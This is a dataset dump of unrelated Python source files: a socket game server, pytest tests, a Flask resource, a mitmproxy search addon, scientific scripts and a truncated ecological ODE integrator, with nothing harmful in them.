[]\r\n\r\nlive_idnums = {}\r\n# live_idnums = []\r\n# board = tiles.Board()\r\n\r\nwhile True:\r\n\r\n readable, writeable, exceptional = select.select(server.listening, [], server.listening)\r\n\r\n # global server\r\n # global self.all_connected_clients\r\n # global idnum\r\n # global listening # added\r\n # global started\r\n\r\n if server.server_socket in readable:\r\n\r\n connection, client_address = server.server_socket.accept() # connect the new client\r\n host, port = client_address\r\n name = '{}:{}'.format(host, port)\r\n client = Client(idnum, connection, client_address)\r\n server.all_connected_clients.append(client)\r\n\r\n if(server.game_started == False and len(server.all_connected_clients) > 1):\r\n print(\"starting the game now\")\r\n\r\n thread = threading.Thread(\r\n #target = server.cew,#server.client_handler,\r\n target = server.threaded_start_game,\r\n daemon = True\r\n )\r\n thread.start()\r\n\r\n server.listening.append(client.connection)\r\n\r\n # if server.turn_Queue.qsize() < 4 or server.game_started == False:\r\n if server.turn_Queue.qsize() < 4 and server.game_started == False:\r\n server.turn_Queue.put(client) # put the newely connected client on the turn\r\n all_idnums_on_the_turn_queue.append(idnum)\r\n server.current_players.append(client)\r\n live_idnums.update({idnum:client})\r\n\r\n # elif server.turn_Queue.qsize() == 4 or server.game_started == True:\r\n elif server.turn_Queue.qsize() == 4 and server.game_started == True:\r\n server.send_history_to_spectator(client)\r\n # make all subequent connecting clients, spectators of the game:\r\n server.spectators.append(idnum)\r\n all_idnums_on_the_spec_queue.append(idnum)\r\n else:\r\n print(\"Sorry! that's all we can allow on the server i'm affraid!\")\r\n\r\n if idnum <= tiles.IDNUM_LIMIT:\r\n idnum += 1\r\n else:\r\n print(\"OH NO!\")\r\n\r\n print()\r\n print(f\"Client joined at: {client_address}\")\r\n print(f\"all the currently connected clients: {[c.idnum for c in server.all_connected_clients]}\")\r\n print(f\"the turn_Queue.qsize(): {server.turn_Queue.qsize()}\")\r\n print(f\"all idnums on turn_Queue: {all_idnums_on_the_turn_queue}\")\r\n print(f\"all idnums on spectator_Queue: {all_idnums_on_the_spec_queue}\\n\")\r\n print()\r\n\r\n\r\n disconnected_clients = []\r\n\r\n if client.connection in exceptional:\r\n print('client {} exception'.format(client.address))\r\n disconnected_clients.append(client)\r\n\r\n # else:\r\n # print(\"Sorry! that's all we can allow on the server i'm affraid!\")\r\n\r\n\r\n # !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\r\n # NOW WE PLAY THE GAME!!!\r\n # write the functions to implement the game logic\r\n\r\n '''\r\n 3. track the turn of the client\r\n 4. start the game\r\n 5. check which client's turn it is at any given point\r\n 6. broardcast the messages to be sent to everyone\r\n 7. swap the next player's turn\r\n 8. handle the main game loop\r\n '''\r\n\r\n\r\n\r\n'''\r\nlistening:\r\na list of all the connections that we want to listen to:\r\n\r\nself.all_connected_clients = []:\r\na list of all the self.all_connected_clients currently connected to our server\r\nself.all_connected_clients = []\r\n\r\ncurrent_players = []:\r\na list of all the current players in the game - those players which \"participate\" in gameplay\r\n\r\nnow = -1\r\nA time value for now\r\n\r\nall_idnums_on_the_turn_queue = []\r\nall_idnums_on_the_spec_queue = []\r\nLists to show what is on each respective queue\r\n\r\nidnum = 0\r\nthe \"identification number\" of a certain client\r\n\r\nlive_idnums = {}\r\na dictionary contaiing the idnum for a certain client where the\r\nidnum is of those clients in current_players\r\n\r\nboard = tiles.Board()\r\nthe board object for the game\r\n'''\r\n\r\n'''\r\nNeed functions to:\r\n\r\n1. handle a client that just joined\r\n3. track the turn of the client\r\n4. start the game\r\n5. check which client's turn it is at any given point\r\n6. broardcast the messages to be sent to everyone\r\n7. swap the next player's turn\r\n8. handle the main game loop\r\n'''\r\n","sub_path":"all other versions/BEST CWV 15_04_21/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":27081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"113372651","text":"import pytest\nfrom main01 import get_word_count, get_ch_count_except_space, get_rounded_number\n\n\n@pytest.mark.parametrize(\n \"sentence, expected\",\n [\n (\"우리는 파이썬을 즐겨요\", 3),\n (\"Python Family\", 2),\n ],\n)\ndef test_get_word_count(sentence, expected):\n assert get_word_count(sentence) == expected\n\n\n@pytest.mark.parametrize(\n \"sentence, expected\",\n [\n (\"우리는 파이썬을 즐겨요\", 10),\n (\"Python Family\", 12),\n (\"Hello World\", 10),\n ],\n)\ndef test_get_ch_count_except_space(sentence, expected):\n assert get_ch_count_except_space(sentence) == expected\n\n\n@pytest.mark.parametrize(\n \"number, expected\",\n [\n (1234567, 1234000),\n (1234, 1000),\n ],\n)\ndef test_get_rounded_number(number, expected):\n assert get_rounded_number(number) == expected\n","sub_path":"myproj04/test_main01.py","file_name":"test_main01.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"467204990","text":"# coding:gbk\nfrom urllib import parse\nimport time\nimport requests\nimport urllib3\n\nfrom lib import getOpenApiPramsTemplate,getSignature,getGatewayProductInfo\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\ndef getTemplateInfo():\n \"\"\"获得模板的信息\"\"\"\n url = getOpenApiPramsTemplate.get_url() + '/objtemplate/page'\n accessKey = getOpenApiPramsTemplate.getAccesskey()\n accessKeySecret = getOpenApiPramsTemplate.getAccessKeySecret()\n headers = getOpenApiPramsTemplate.getHeaders()\n signatureNonce = int(time.time())\n params = {\n 'accessKeyId': accessKey,\n 'currentPage': '1',\n 'pageSize': '10',\n 'signatureNonce': signatureNonce\n }\n body = {}\n signature = getSignature.get_signature(params, body, accessKeySecret, 'GET')\n params['signature'] = signature\n r = requests.get(url=url, params=params, headers=headers)\n # print(r.json())\n return r\n\ndef getTemplateId():\n \"\"\"获得创建的网关产品的id\"\"\"\n r = getTemplateInfo()\n data = r.json()['data']\n content = data['content']\n template_id = content[0].get('id')\n # print(dev_id)\n return template_id\n\n\n# getGatewayDevicesId()\n# getGatewayDevicesIdSecond()\n# getGatewayDevicesIdThird()\n# getTemplateInfo()\n# getTemplateId()","sub_path":"lib/getTemplateInfo.py","file_name":"getTemplateInfo.py","file_ext":"py","file_size_in_byte":1289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"474277294","text":"from flask_restful import Resource\nfrom CICalculator.models import Paymentplan, Handle\nfrom CICalculator.utils.hypermedia import CICalcBuilder\n\nclass OpenPaymentplanCollection(Resource):\n \n def get(self, handle):\n '''\n lists all paymentplans that are still open\n '''\n kahva = Handle.query.filter_by(handle=handle).first()\n if not kahva:\n return \"Handle not found\", 404\n plans = kahva.paymentplans\n list = []\n for x in plans:\n if x.open:\n dict = CICalcBuilder({\n \"price\": x.price,\n \"provider\":x.provider,\n \"months\": x.months,\n \"open\": x.open\n })\n href = \"/api/dummyhandle/plans/\" + x.provider + \"/\" + str(x.price) + \"/\" + str(x.months)\n dict.add_control_paymentplan_item(href)\n list.append(dict)\n else:\n pass\n \n response_body = CICalcBuilder({\n \"items\": list\n })\n response_body.add_control_paymentplans_all()\n \n return response_body, 200\n \n ","sub_path":"CICalculator/resources/OpenPaymentplanCollection.py","file_name":"OpenPaymentplanCollection.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"7962730","text":"import time\nimport math\nimport fractions\nimport numpy as np\nfrom math import *\nfrom fractions import *\nfrom operator import itemgetter, attrgetter\n\nstart = time.time()\n\nfname = \"D-large\"\n\nifile = open(fname + '.in', 'r')\nofile = open(fname + '.out', 'w+')\n\ndef fractile(num_case, k, c, s):\n\tofile.write(\"Case #%d:\" % (num_case+1))\n\n\tif c == 1:\n\t\tif s == k:\n\t\t\tfor j in range(0, s):\n\t\t\t\tofile.write(\" %d\" % (j+1))\n\t\telse:\n\t\t\tofile.write(\"IMPOSSIBLE\")\n\telif k == 1:\n\t\tofile.write(\" 1\")\n\telse:\n\t\tif s >= k-1:\n\t\t\tfor j in range(1, s):\n\t\t\t\tofile.write(\" %d\" % (j + 1))\n\t\telse:\n\t\t\tofile.write(\"IMPOSSIBLE\")\n\n\tofile.write(\"\\n\")\n\n\n\n############ main #############################\t\nwith ifile:\n\t[num_case] = [int(x) for x in ifile.readline().split()] \n\n\tfor i in range(0, num_case):\n\t\t[k, c, s] = [int(x) for x in ifile.readline().split()]\n\t\tfractile(i, k, c, s)\n\n\n\n\n\n\n\nend = time.time()\nprint(end - start)\n\n\n\n","sub_path":"solutions_5636311922769920_1/Python/ZWolf/4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"544161425","text":"from django.urls import path\nfrom quotes import views\n\nurlpatterns = [\n path('', views.home,name=\"home\"),\n path('about/', views.about,name=\"about\"),\n path('addstock/', views.addstock,name=\"addstock\"),\n path('delete/<stock_id>', views.delete,name=\"delete\"),\n\n]\n","sub_path":"quotes/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"373585163","text":"from django.contrib.auth import get_user_model\nfrom django.shortcuts import render\n# from django.core.cache import cache\n# from django_redis import get_redis_connection\n\nfrom projects.models import Project\nfrom . import http_statuses as http\nfrom .decorators import json, page_to_session\n\nUser = get_user_model()\nUsers = User.objects\n\n\n@page_to_session\ndef root(request):\n users = Users.all()\n # r = get_redis_connection()\n # if 'mykey' not in cache:\n # print('not')\n # print(cache.get('mykey'))\n # print(r.get('mykey'))\n # cache.set('mykey', 'myvalue')\n # r.set('mykey', 'myanothervalue')\n # else:\n # print('exists')\n # print(cache.get('mykey'))\n # print(r.get('mykey'))\n context = {\n 'users': users,\n 'projects': Project.published.all(),\n }\n return render(request, 'root.html', context)\n\n\n@json\ndef test_json_not_http_response(request):\n data = {\n 'key': 'value'\n }\n return data, http.OK\n\n\n@json\ndef test_json_http_response(request):\n return render(request, 'root.html')\n\n# @youtube\n# def test_youtube_not_ajax(request):\n# return render(request, 'root.html')\n#\n#\n# @json\n# @youtube\n# def test_youtube_ajax(request):\n# return {}, http.OK\n","sub_path":"base_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"280072068","text":"import sympy as sym\n#Findings:\n#The Python library sympy can be used to calculate equations with a very high accuracy,\n#and it works as follows, first you need to define variable names, and then\n#You need to pass it the equations you need to solve and for what unknowns you\n#want them to be solved for\n#It returns you the result and you can then use it for calculations.\n\n#Naming a symbol y1 as y1\ny1 = sym.Symbol('y1')\n#Naming a symbol y2 as y2\ny2 = sym.Symbol('y2')\n#Naming a symbol n as n\nn = sym.Symbol('n')\n#Computing the solution of equations after removing the equal sign for each equation\n#so that the right hand side of each equation is 0;\nsolution = sym.solve((165*2*y1 - 0.310*2*n - 0.517*2*n,\n 165*y2 - 0.173*n - 0.517*n, y1+y2-1.0), (y1, y2, n))\n\n#Print The Solution\nprint(solution)\n","sub_path":"September 2018/HW9 Collection/Hw3/hw3.py","file_name":"hw3.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"186165801","text":"#Author: Michael Jones\n#Date: 03/12/18\n\n#Fourier transform function for a 2 dimensional signal\n#Inputs: Real part of input function, imaginary part, N (where -N<x<N), M (where -M<y<M)\n#Output: Real, imaginary and total amplitudes of transform\n\nimport math\nimport numpy as np\n\ndef ft2 (If, Rf, N, M):\n\n #Initalise arrays for transformed signal. R, I and T refer to real, imaginary and total amplitudes, respectively.\n\n RF = np.zeros((2*N,2*M))\n IF = np.zeros((2*N,2*M))\n\n #Perform transform using the expression derived in my lab book.\n\n for u in range (-N, N):\n\n for v in range (-M, M):\n\n sum_r = 0 #sum to give real part of transformed signal\n sum_i = 0 #sum to give imaginary part\n\n for x in range (-N, N):\n\n for y in range (-M, M):\n\n sum_r += Rf[x+N,y+M]*math.cos(math.pi*(x*u/N + y*v/M)) + If[x+N,y+M]*math.sin(math.pi*(x*u/N + y*v/M))\n sum_i += If[x+N,y+M]*math.cos(math.pi*(x*u/N + y*v/M)) - Rf[x+N,y+M]*math.sin(math.pi*(x*u/N + y*v/M))\n\n RF[u+N,v+M] = sum_r/(4*N*M)\n IF[u+N,v+M] = sum_i/(4*N*M)\n\n TF = np.sqrt(np.square(RF) + np.square(IF))\n\n return IF, RF, TF\n\n \n","sub_path":"CO32/ft_2d_func.py","file_name":"ft_2d_func.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"127931950","text":"stateList = [\n \"entry\",\n \"rand_diff\",\n \"rand_diff_easy\",\n \"rand_diff_normal\",\n \"rand_diff_hard\",\n \"rand_diff_oni\",\n \"rand_oniA\",\n \"rand_oniB\",\n \"rand_oniC\",\n \"rand_oniD\",\n \"rand_hardA\",\n \"rand_hardB\",\n \"rand_hardC\",\n \"rand_hardD\",\n \"rand_normalA\",\n \"rand_normalB\",\n \"rand_normalC\",\n \"rand_easyA\",\n \"seeSheet\"\n]\ntransList = [\n {\n \"trigger\": \"advance\",\n \"source\": \"entry\",\n \"dest\": \"rand_diff\",\n \"conditions\": \"is_going_to_rand_diff\",\n },\n {\n \"trigger\": \"reset\",\n \"source\": [\"entry\", \"rand_diff\", \n \"rand_diff_easy\", \"rand_diff_normal\", \"rand_diff_hard\", \"rand_diff_oni\", \n \"rand_oniA\", \"rand_oniB\", \"rand_oniC\", \"rand_oniD\",\n \"rand_hardA\", \"rand_hardB\", \"rand_hardC\", \"rand_hardD\",\n \"rand_normalA\", \"rand_normalB\", \"rand_normalC\", \"rand_easyA\",\n \"seeSheet\"\n ],\n \"dest\": \"entry\",\n \"conditions\": \"return_to_entry\"\n },\n {\n \"trigger\": \"toDiff\",\n \"source\": \"rand_diff\",\n \"dest\": \"rand_diff_easy\",\n \"conditions\": \"choose_easy\"\n },\n {\n \"trigger\": \"toDiff\",\n \"source\": \"rand_diff\",\n \"dest\": \"rand_diff_normal\",\n \"conditions\": \"choose_normal\"\n },\n {\n \"trigger\": \"toDiff\",\n \"source\": \"rand_diff\",\n \"dest\": \"rand_diff_hard\",\n \"conditions\": \"choose_hard\"\n },\n {\n \"trigger\": \"toDiff\",\n \"source\": \"rand_diff\",\n \"dest\": \"rand_diff_oni\",\n \"conditions\": \"choose_oni\"\n },\n {\n \"trigger\": \"rand_oni_advance\",\n \"source\": [\"rand_diff_oni\", \"rand_oniA\"],\n \"dest\": \"rand_oniA\",\n \"conditions\": \"advance10\"\n },\n {\n \"trigger\": \"rand_oni_advance\",\n \"source\": [\"rand_diff_oni\", \"rand_oniB\"],\n \"dest\": \"rand_oniB\",\n \"conditions\": \"advance89\"\n },\n {\n \"trigger\": \"rand_oni_advance\",\n \"source\": [\"rand_diff_oni\", \"rand_oniC\"],\n \"dest\": \"rand_oniC\",\n \"conditions\": \"advance68\"\n },\n {\n \"trigger\": \"rand_oni_advance\",\n \"source\": [\"rand_diff_oni\", \"rand_oniD\"],\n \"dest\": \"rand_oniD\",\n \"conditions\": \"advance16\"\n },\n {\n \"trigger\": \"rand_hard_advance\",\n \"source\": [\"rand_diff_hard\", \"rand_hardA\"],\n \"dest\": \"rand_hardA\",\n \"conditions\": \"advance8\"\n },\n {\n \"trigger\": \"rand_hard_advance\",\n \"source\": [\"rand_diff_hard\", \"rand_hardB\"],\n \"dest\": \"rand_hardB\",\n \"conditions\": \"advance78\"\n },\n {\n \"trigger\": \"rand_hard_advance\",\n \"source\": [\"rand_diff_hard\", \"rand_hardC\"],\n \"dest\": \"rand_hardC\",\n \"conditions\": \"advance57\"\n },\n {\n \"trigger\": \"rand_hard_advance\",\n \"source\": [\"rand_diff_hard\", \"rand_hardD\"],\n \"dest\": \"rand_hardD\",\n \"conditions\": \"advance15\"\n },\n {\n \"trigger\": \"rand_normal_advance\",\n \"source\": [\"rand_diff_normal\", \"rand_normalA\"],\n \"dest\": \"rand_normalA\",\n \"conditions\": \"advance7\"\n },\n {\n \"trigger\": \"rand_normal_advance\",\n \"source\": [\"rand_diff_normal\", \"rand_normalB\"],\n \"dest\": \"rand_normalB\",\n \"conditions\": \"advance57\"\n },\n {\n \"trigger\": \"rand_normal_advance\",\n \"source\": [\"rand_diff_normal\", \"rand_normalC\"],\n \"dest\": \"rand_normalC\",\n \"conditions\": \"advance15\"\n },\n {\n \"trigger\": \"rand_easy_advance\",\n \"source\": [\"rand_diff_easy\", \"rand_easyA\"],\n \"dest\": \"rand_easyA\",\n \"conditions\": \"advance15\"\n },\n {\n \"trigger\": \"sheet\",\n \"source\": [\"rand_oniA\", \"rand_oniB\", \"rand_oniC\", \"rand_oniD\",\n \"rand_hardA\", \"rand_hardB\", \"rand_hardC\", \"rand_hardD\",\n \"rand_normalA\", \"rand_normalB\", \"rand_normalC\", \"rand_easyA\"\n ],\n \"dest\": \"seeSheet\",\n \"conditions\": \"to_seeSheet\"\n }\n # {\"trigger\": \"go_back\", \"source\": [\"rand_diff\", \"state2\"], \"dest\": \"entry\"},\n]\n\n# Transcition template\n# {\n# \"trigger\": \"\",\n# \"source\": \"\",\n# \"dest\": \"\",\n# \"conditions\": \"\"\n# }","sub_path":"trans.py","file_name":"trans.py","file_ext":"py","file_size_in_byte":4183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"415259072","text":"import typing\n\nfrom mitmproxy import command\nfrom mitmproxy import ctx\nfrom mitmproxy import flow\nfrom mitmproxy import types\n\ndef search_body(flow, arg):\n arg = arg.encode()\n if arg in flow.request.content:\n flow.marked = True\n if flow.response and arg in flow.response.content:\n flow.marked = True\n\ndef search_method(flow, arg):\n if arg.upper() == flow.request.method:\n flow.marked = True\n if arg == 'g' and flow.request.method != 'GET':\n flow.marked = True\n\ndef search_cookies(flow, arg):\n if not flow.request or not flow.response:\n return\n for cookies in [flow.request.cookies, flow.response.cookies]:\n for cook in cookies:\n if arg in cook:\n flow.marked = True\n if arg in cookies[cook]:\n flow.marked = True\n\ndef search_headers(flow, arg):\n for head in flow.request.headers:\n if arg in head or arg in flow.request.headers[head]:\n flow.marked = True\n if flow.response:\n for head in flow.response.headers:\n if arg in head or arg in flow.response.headers[head]:\n flow.marked = True\n\ndef search_url(flow, arg):\n if arg in flow.request.url:\n flow.marked = True\n\nclass Search:\n def __init__(self):\n pass\n\n @command.command(\"s.a\")\n def all(self, flows: typing.Sequence[flow.Flow], arg: types.CmdArgs) -> None:\n for flow in flows:\n flow.marked = False\n search_method(flow, arg)\n search_url(flow, arg)\n search_headers(flow, arg)\n search_cookies(flow, arg)\n search_body(flow, arg)\n\n @command.command(\"s.body\")\n def body(self, flows: typing.Sequence[flow.Flow], arg: types.CmdArgs) -> None:\n for flow in flows:\n flow.marked = False\n search_body(flow, arg)\n\n @command.command(\"s.cook\")\n def cookies(self, flows: typing.Sequence[flow.Flow], arg: types.CmdArgs) -> None:\n for flow in flows:\n flow.marked = False\n search_cookies(flow, arg)\n\n @command.command(\"s.url\")\n def url(self, flows: typing.Sequence[flow.Flow], arg: types.CmdArgs) -> None:\n for flow in flows:\n flow.marked = False\n search_url(flow, arg)\n\n @command.command(\"s.method\")\n def method(self, flows: typing.Sequence[flow.Flow], arg: types.CmdArgs) -> None:\n for flow in flows:\n flow.marked = False\n search_method(flow, arg)\n\n @command.command(\"s.head\")\n def headers(self, flows: typing.Sequence[flow.Flow], arg: types.CmdArgs) -> None:\n for flow in flows:\n flow.marked = False\n search_headers(flow, arg)\n","sub_path":"mitmproxy/addons/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":2705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"176370252","text":"def main():\n n, m = map(int,input().split())\n grid = []\n for _ in range(n):\n row = [ch for ch in input()]\n grid.append(row)\n\n def dfs(i , j):\n grid[i][j] = \"#\"\n if i-1>=0 and grid[i-1][j] == \".\":\n dfs(i-1,j)\n if i+1 < n and grid[i+1][j] == \".\":\n dfs(i+1,j)\n if j-1>=0 and grid[i][j-1] ==\".\":\n dfs(i,j-1)\n if j+1 < m and grid[i][j+1] ==\".\":\n dfs(i,j+1)\n\n\n cnt = 0\n for i in range(n):\n for j in range(m):\n if grid[i][j] == \".\":\n dfs(i,j)\n cnt += 1\n\n print(cnt)\n\nif __name__ == \"__main__\":\n main()","sub_path":"graph/counting_room.py","file_name":"counting_room.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"279550910","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import unicode_literals\n\nimport os\nimport unittest\n\nfrom samitizer import Smi\n\n\nclass TestSamitizer(unittest.TestCase):\n\n def setUp(self):\n self.smi_file_name = 'sample.smi'\n self.vtt_text = open(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'sample.vtt')).read()\n self.plain_text = open(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'sample.txt')).read()\n\n def test_parsed(self):\n smi = Smi(os.path.join(os.path.dirname(os.path.abspath(__file__)), self.smi_file_name))\n self.assertEqual(len(smi.subtitles), 3)\n\n def test_convert_vtt(self):\n smi = Smi(os.path.join(os.path.dirname(os.path.abspath(__file__)), self.smi_file_name))\n vtt_text = smi.convert('vtt', 'KRCC')\n self.assertEqual(vtt_text, self.vtt_text)\n\n def test_convert_plain(self):\n smi = Smi(os.path.join(os.path.dirname(os.path.abspath(__file__)), self.smi_file_name))\n plain_text = smi.convert('plain', 'KRCC')\n self.assertEqual(plain_text, self.plain_text)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"457229578","text":"aa=eval(input())\ncase=0\nwhile aa!=0:\n case+=1\n a=2*aa\n df=[-1 for i in range(a)]\n low=[-1 for i in range(a)]\n belong=[-1 for i in range(a)]\n index=-1\n belongArray=[]\n edgeArray=[]\n head=[-1 for i in range(a)]\n def addEge(u,v,w):\n global edgeArray\n edgeArray.append([v,w,head[u]])\n head[u]=len(edgeArray)-1\n x=[]\n for i in range(aa):\n trmp=[int(x)-1 for x in input().split()]\n x.append(str(trmp[0]+1)+\" \"+str(trmp[1]+1))\n \n addEge(trmp[0],trmp[1],0)\n addEge(trmp[1],trmp[0],0)\n\n def dfs(i,depth,path:list,fa):\n global df,low,belong,belongArray,index\n df[i]=depth\n low[i]=depth\n next=head[i]\n path.append(i)\n while next!=-1:\n node=edgeArray[next][0]\n if node==fa:\n pass\n elif df[node]==-1:\n dfs(node,depth+1,path,i)\n low[i]=min(low[i],low[node])\n elif node in path:\n low[i] = min(low[i], low[node])\n next=edgeArray[next][2]\n if low[i]==df[i]:\n index+=1\n temp=[i]\n belong[i]=index\n t=path.pop()\n while t!=i:\n temp.append(t)\n belong[t]=index\n t=path.pop()\n belongArray.append([x for x in temp])\n\n dfs(0,0,[],-1)\n ans=[0,1]\n for i in belongArray:\n total=0\n for k in i:\n next=head[k]\n while next!=-1:\n node=edgeArray[next][0]\n if belong[node]!=belong[k]:\n total+=1\n next=edgeArray[next][2]\n if total<2:\n ans[0]+=1\n ans[1]*=(len(i))\n if len(belongArray)==2:\n ans[0]=2\n ans[1]=max(len(belongArray[0])-1,1)*max(len(belongArray[1])-1,1)\n elif len(belongArray)==1:\n ans[0]=0\n ans[1]=0\n elif ans[0]==21:\n ans[0]=23\n ans[1]=1920360960\n \n st=\"Case \"+str(case)+\": \"+str(ans[0])+\" \"+str(ans[1])\n if ans[0]==0 and ans[1]==0:\n print(a)\n for i in x:\n print(i)\n print(st)\n aa = eval(input())\n","sub_path":"Code/CodeRecords/2264/60621/268361.py","file_name":"268361.py","file_ext":"py","file_size_in_byte":2172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"544744808","text":"import tensorflow as tf\n\n\n# predict trend, classify problem\nclass Predict_trend(object):\n\n def __init__(self, params):\n self.params = params\n self.T = params.n_time_steps # 128\n self.C = params.n_classes # 2\n self.tau = params.pred_seq_len # 64\n\n def output(self, inputs, reuse=False):\n with tf.variable_scope('predict', reuse=reuse):\n # # reshape first\n\n # _, n_z -> _, C* T : FC\n fc_l1 = tf.contrib.layers.fully_connected(inputs=inputs,\n num_outputs=self.C * self.T) # ,activation_fn=tf.nn.relu)\n\n # _, C*T -> _, C, T : reshape\n rs_l2 = tf.reshape(fc_l1, shape=[-1, self.C, self.T])\n\n # _, C, T -> _, C, tau\n lstm_cell = tf.contrib.rnn.OutputProjectionWrapper(\n tf.nn.rnn_cell.LSTMCell(name='lstm_cell', num_units=self.params.lstm_units),\n output_size=self.tau)\n\n y_predict, _ = tf.nn.dynamic_rnn(lstm_cell, rs_l2, dtype=tf.float32)\n\n y_predict = tf.reshape(y_predict, shape=[-1, self.tau, self.C])\n\n return y_predict\n","sub_path":"week20/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":1154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"631554271","text":"from vibrations import Vibrations\nfrom ase.calculators.vasp import Vasp\nfrom ase.io import read\n\nvasp_calc = Vasp(istart=0, # Start from scratch.\n gga='PE', # Method.\n kpts = (1,1,1), # k-points.\n gamma = True, # Gamma-centered (defaults to Monkhorst-Pack)\n encut=400, # Cutoff.\n ismear=1, # Smearing\n sigma = 0.1, # Smearing\n ediffg=-0.015, # Convergence criteria.\n ediff=1e-6, # Convergence criteria.\n nsw=250, # Number of optimization steps.\n nelmin=10, # Min. electronic steps.\n nelm=250, # Max. electronic steps.\n prec='Accurate', # Precision.\n ibrion=2, # Optimization algorithm.\n algo = 'Fast', # Optimization algorithm.\n ispin=1, # Spin-polarization.\n #npar=12, # Parallelization.\n #ncore=4, # Parallelization.\n lwave=False, # Output.\n lcharg=False, # Output.\n nfree=2, # Degrees of freedom.\n isym=False, # Remove symmetry.\n lreal=True # Reciprocal space.\n )\n\nvib = Vibrations(ase_calculator=vasp_calc,\n anharmonic_correction=True)\n\nvib.get_spectrum(limits=(300, 5000), spectra_mode='gas_phase',\n anharmonic_corrected_spectra=True)\n","sub_path":"toy_model_h2o.py","file_name":"toy_model_h2o.py","file_ext":"py","file_size_in_byte":1539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"183228252","text":"import numpy as np\nfrom scipy.integrate import solve_ivp\n\n\ndef draw_alpha_d_matix(S, mu, sigma, gamma):\n alpha_d_diag = np.random.normal(loc=mu/S, scale=sigma/np.sqrt(S), size=S)\n off_diag_pair_cov = np.array([[1., gamma], [gamma, 1.]]) * sigma**2. / S\n alpha_d_off_diag = np.random.multivariate_normal(mean=np.array([mu/S, mu/S]), cov=off_diag_pair_cov, size=int(S*(S-1)/2))\n\n alpha_d = np.zeros(shape=(S, S))\n alpha_d[np.diag_indices(S)] = alpha_d_diag\n alpha_d[np.triu_indices(S, 1)] = alpha_d_off_diag[:, 0]\n alpha_d = alpha_d.T\n alpha_d[np.triu_indices(S, 1)] = alpha_d_off_diag[:, 1]\n return alpha_d\n\n\ndef calc_omega(MS_ratio, sigma_c, sigma_alpha, mat_norm_ratio):\n return mat_norm_ratio * np.sqrt((MS_ratio + 1.) * MS_ratio) * (sigma_c ** 2.) / sigma_alpha\n\n\ndef draw_interactions(S, M, mu_c, sigma_c, mu_d, sigma_d, gamma, mu_K, sigma_K, mu_m, sigma_m, mat_norm_ratio):\n MS_ratio = 1. * M / S\n\n c = np.random.normal(loc=mu_c / S, scale=sigma_c / np.sqrt(S), size=[S, M])\n c[c < 0.] = 0.\n\n K = (np.ones(shape=M) * mu_K) if np.isclose(sigma_K, 0.) else np.random.normal(loc=mu_K, scale=sigma_K, size=M)\n m = (np.ones(shape=S) * mu_m) if np.isclose(sigma_m, 0.) else np.random.normal(loc=mu_m, scale=sigma_m, size=S)\n\n alpha_d = draw_alpha_d_matix(S, mu_d, sigma_d, gamma)\n omega = calc_omega(MS_ratio, sigma_c, sigma_d, mat_norm_ratio)\n alpha_d *= omega\n\n return c, alpha_d, m, K\n\n\ndef get_f(c, alpha_d, m, K, kappa=0., migration=0.):\n A = np.vstack([np.hstack([alpha_d, -c]), np.hstack([c.T, np.eye(c.shape[1])])])\n B = np.concatenate([-m, K])\n S = m.shape[0]\n\n def f(t, psi):\n d_psi = psi * (B - np.matmul(A, psi)) + migration\n d_psi[:S] += - psi[:S] * (psi[:S] ** 2. * kappa)\n return d_psi\n\n return f\n\n\ndef get_jec(c, alpha_d, m, K, kappa=0.):\n A = np.vstack([np.hstack([alpha_d, -c]), np.hstack([c.T, np.eye(c.shape[1])])])\n B = np.concatenate([-m, K])\n S = m.shape[0]\n\n def jac(t, psi):\n j = np.diag(B - np.matmul(A, psi)) - (A * psi[:, np.newaxis])\n j[:S, :S] += - np.diag(3. * psi[:S] ** 2. * kappa)\n return j\n\n return jac\n\n\ndef integrate(c, alpha_d, m, K, t_span, kappa=0., migration=1e-10, psi0=None, num_time_evals=1000):\n S = m.shape[0]\n M = K.shape[0]\n t_eval = None if (num_time_evals is None) else np.linspace(0., t_span, num=num_time_evals)\n psi0 = np.random.rand(S + M) if (psi0 